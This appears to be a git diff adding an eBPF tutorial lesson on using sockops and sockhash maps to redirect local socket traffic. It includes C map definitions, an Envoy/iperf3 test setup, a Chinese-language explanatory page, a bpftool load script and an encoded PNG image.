__u32 p3; + __u32 p4; + }; + __u8 addr[16]; +}; + +struct sock_key { + union { + struct { + __u32 sip4; + __u32 pad1; + __u32 pad2; + __u32 pad3; + }; + union v6addr sip6; + }; + union { + struct { + __u32 dip4; + __u32 pad4; + __u32 pad5; + __u32 pad6; + }; + union v6addr dip6; + }; + __u8 family; + __u8 pad7; + __u16 pad8; + __u32 sport; + __u32 dport; +} __attribute__((packed)); + +struct bpf_map_def __section_maps sock_ops_map = { + .type = BPF_MAP_TYPE_SOCKHASH, + .key_size = sizeof(struct sock_key), + .value_size = sizeof(int), + .max_entries = 65535, + .map_flags = 0, +}; + +static inline void sk_extract4_key(struct bpf_sock_ops *ops, + struct sock_key *key) +{ + key->dip4 = ops->remote_ip4; + key->sip4 = ops->local_ip4; + key->family = 1; + + key->sport = (bpf_htonl(ops->local_port) >> 16); + key->dport = ops->remote_port >> 16; +} + +static inline void sk_msg_extract4_key(struct sk_msg_md *msg, + struct sock_key *key) +{ + key->sip4 = msg->remote_ip4; + key->dip4 = msg->local_ip4; + key->family = 1; + + key->dport = (bpf_htonl(msg->local_port) >> 16); + key->sport = msg->remote_port >> 16; +} diff --git a/29-sockops/envoy/Dockerfile b/29-sockops/envoy/Dockerfile new file mode 100644 index 0000000..1f1da7f --- /dev/null +++ b/29-sockops/envoy/Dockerfile @@ -0,0 +1,3 @@ +FROM envoyproxy/envoy:latest +COPY envoy.yaml /etc/envoy/envoy.yaml +EXPOSE 9901 diff --git a/29-sockops/envoy/envoy.yaml b/29-sockops/envoy/envoy.yaml new file mode 100644 index 0000000..6225a4f --- /dev/null +++ b/29-sockops/envoy/envoy.yaml @@ -0,0 +1,30 @@ +admin: + access_log_path: /tmp/admin_access.log + address: + socket_address: + protocol: TCP + address: 0.0.0.0 + port_value: 9901 +static_resources: + listeners: + - name: iperf3-listener + address: + socket_address: + protocol: TCP + address: 0.0.0.0 + port_value: 10000 + filter_chains: + - filters: + - name: envoy.tcp_proxy + config: + stat_prefix: iperf3-listener + cluster: iperf3_server + clusters: + - name: iperf3_server + connect_timeout: 1.0s + type: static + lb_policy: ROUND_ROBIN + hosts: + - socket_address: + address: 127.0.0.1 + port_value: 5201 diff --git a/29-sockops/index.html b/29-sockops/index.html new file mode 100644 index 0000000..9300922 --- /dev/null +++ b/29-sockops/index.html @@ -0,0 +1,245 @@ + + + + + + 使用 sockops 加速网络请求转发 - bpf-developer-tutorial + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + +
    +
    +

    eBPF sockops 示例

    +

    利用 eBPF 的 sockops 进行性能优化

    +

    网络连接本质上是 socket 之间的通讯,eBPF 提供了一个 bpf_msg_redirect_hash 函数,用来将应用发出的包直接转发到对端的 socket,可以极大地加速包在内核中的处理流程。

    +

    这里 sock_map 是记录 socket 规则的关键部分,即根据当前的数据包信息,从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方,将 socket 信息保存到 sock_map,并提供一个规则 (一般为四元组) 根据 key 查找到 socket。

    +

    Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后,出入口流量会直接跳过很多内核模块,明显提高性能,如下图所示:

    +

    merbridge

    +

    运行样例

    +

    此示例程序从发送者的套接字(出口)重定向流量至接收者的套接字(入口),跳过 TCP/IP 内核网络栈。在这个示例中,我们假定发送者和接收者都在同一台机器上运行。

    +

    编译 eBPF 程序

    +
    # Compile the bpf_sockops program
    +clang -O2 -g  -Wall -target bpf  -c bpf_sockops.c -o bpf_sockops.o
    +clang -O2 -g  -Wall -target bpf  -c bpf_redir.c -o bpf_redir.o
    +
    +

    加载 eBPF 程序

    +
    sudo ./load.sh
    +
    +

    您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。

    +
    $ sudo bpftool prog show
    +63: sock_ops  name bpf_sockmap  tag 275467be1d69253d  gpl
    + loaded_at 2019-01-24T13:07:17+0200  uid 0
    + xlated 1232B  jited 750B  memlock 4096B  map_ids 58
    +64: sk_msg  name bpf_redir  tag bc78074aa9dd96f4  gpl
    + loaded_at 2019-01-24T13:07:17+0200  uid 0
    + xlated 304B  jited 233B  memlock 4096B  map_ids 58
    +
    +

    运行 iperf3 服务器

    +
    iperf3 -s -p 10000
    +
    +

    运行 iperf3 客户端

    +
    iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000
    +
    +

    收集追踪

    +
    $ ./trace.sh
    +iperf3-9516  [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135
    +iperf3-9516  [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583
    +iperf3-9516  [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135
    +iperf3-9516  [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095
    +
    +

    你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件,那么 eBPF 程序可能没有正确地附加上。

    +

    卸载 eBPF 程序

    +
    sudo ./unload.sh
    +
    +

    参考资料

    + + +
    + + +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + +
    + + diff --git a/29-sockops/load.sh b/29-sockops/load.sh new file mode 100755 index 0000000..df2073b --- /dev/null +++ b/29-sockops/load.sh @@ -0,0 +1,20 @@ +#!/bin/bash +set -x +set -e + +# Mount bpf filesystem +sudo mount -t bpf bpf /sys/fs/bpf/ + +# Load the bpf_sockops program +sudo bpftool prog load bpf_sockops.o "/sys/fs/bpf/bpf_sockop" +sudo bpftool cgroup attach "/sys/fs/cgroup/unified/" sock_ops pinned "/sys/fs/bpf/bpf_sockop" + +MAP_ID=$(sudo bpftool prog show pinned "/sys/fs/bpf/bpf_sockop" | grep -o -E 'map_ids [0-9]+' | awk '{print $2}') +sudo bpftool map pin id $MAP_ID "/sys/fs/bpf/sock_ops_map" + +# Load the bpf_redir program +if [ -z $1 ] +then + sudo bpftool prog load bpf_redir.o "/sys/fs/bpf/bpf_redir" map name sock_ops_map pinned "/sys/fs/bpf/sock_ops_map" + sudo bpftool prog attach pinned "/sys/fs/bpf/bpf_redir" msg_verdict pinned "/sys/fs/bpf/sock_ops_map" +fi diff --git a/29-sockops/merbridge.png b/29-sockops/merbridge.png new file mode 100644 index 0000000000000000000000000000000000000000..f122315bd43c5b0da6004fcb9ff6ec186752ebd4 GIT binary patch literal 208102 zcmeFZWm{WOw>H|AQlPlIdvPfQ2^4oLEiT2~Jy<{*k8h# zQ59joUOIi05`9rNOtK4m^V&>ALFC1YiYVlJ19;ebBztL1rx!0sgP(t1Ms1#$ym;}H zFC#AU$z5;1#UzzR#KJod`?u{+QK{Ba{c{Vdx{iW6p=Cji_e3#Iav}evJS1ZP?$YnwJ968I$Hnk?^_W;k4d&N z;`jA~x@FtCMc34Wg@y^&{TY?9KOt_w_?k8PbU1{6d+1Wex)Ps$}z<7U!0#m*V23(9*;NjtY)4SZsjhds55;T;G zB&p~OMpr+thW=32Q?fj(tFFcY={+90wN))YUe>jHAXOv?V~vDC|7m6prWp%T!*8rmiAxP@V)ka6z-=k-xr{wp{Wt2mLq7pe#vJf;v724pD_mL+L zKR?m=I5gi*F9FWU)U-#>=f=cyJKar`ZuKnl$xAuhXj-LShpv1&>fePDMAF0Fk$$HF z;^~8S^Vv6uHXW`G7caZ8l>(NMI9Nd%)O&_CH>v6AsJC>(5dFtf@a6S-)VzA@X~O8w zkK~iJLE?qfT(e)47 zpt_z1Eed5}s=23UllLmJJ|dd@nhl4{Uj;d&huq?$$rs#ttOnwX8gWhBhlhvH7)1f` zf?~0wzAC!4;0!=z_SF&Yb%sdA%%~d0M^y4j@M^(HWIJ4}ue=bh>Q>>b`0L=>?+qrfg-Mm#$v@Z0OXmEm zD6`w6AIZVDD)v#~wX;%ft|*DGKG&1vvqnNpv(&al>BV@%8n+|Hd&~O$kW^x5;xK&s zA_ji_+r*?IPYED1|GjMWg73*Z<2$ zcSVT)zu<&Zf-WvDFl6&TngDHky?MW#*OZ+TsXIl =DT&o}A(h)7ume_p4RUd6M( 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 